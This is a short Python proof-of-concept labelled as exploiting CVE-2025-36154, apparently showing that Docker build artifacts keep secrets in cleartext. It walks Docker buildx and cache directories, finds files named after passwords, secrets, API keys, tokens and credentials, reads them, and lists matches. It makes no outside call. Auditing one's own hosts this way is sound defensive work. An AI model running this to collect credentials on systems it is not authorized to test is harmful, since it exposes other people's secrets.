The following code is for security research and authorized testing only.
python
# CVE-2025-36154 PoC - Accessing sensitive information from Docker build artifacts
# Note: This is an illustrative PoC demonstrating the vulnerability
import os
import glob
def check_docker_build_artifacts():
"""
Check for sensitive information in Docker build artifacts
This demonstrates how local users can access cleartext sensitive data
"""
# Common locations where Docker build artifacts may be stored
potential_locations = [
os.path.expanduser("~/.docker/buildx/"),
os.path.expanduser("~/.docker/build-cache/"),
"/var/lib/docker/buildx/",
"/tmp/docker-build-*/"
]
sensitive_patterns = [
"password", "secret", "api_key", "token", "credential"
]
findings = []
for location in potential_locations:
if os.path.exists(location):
# Search for files containing sensitive patterns
for pattern in sensitive_patterns:
search_path = os.path.join(location, f"**/*{pattern}*")
matches = glob.glob(search_path, recursive=True)
for match in matches:
if os.path.isfile(match):
try:
with open(match, 'r', errors='ignore') as f:
content = f.read()
if any(p in content.lower() for p in sensitive_patterns):
findings.append({
'file': match,
'type': 'cleartext_sensitive_data'
})
except:
pass
return findings
# Usage
results = check_docker_build_artifacts()
for result in results:
print(f"Found sensitive data in: {result['file']}")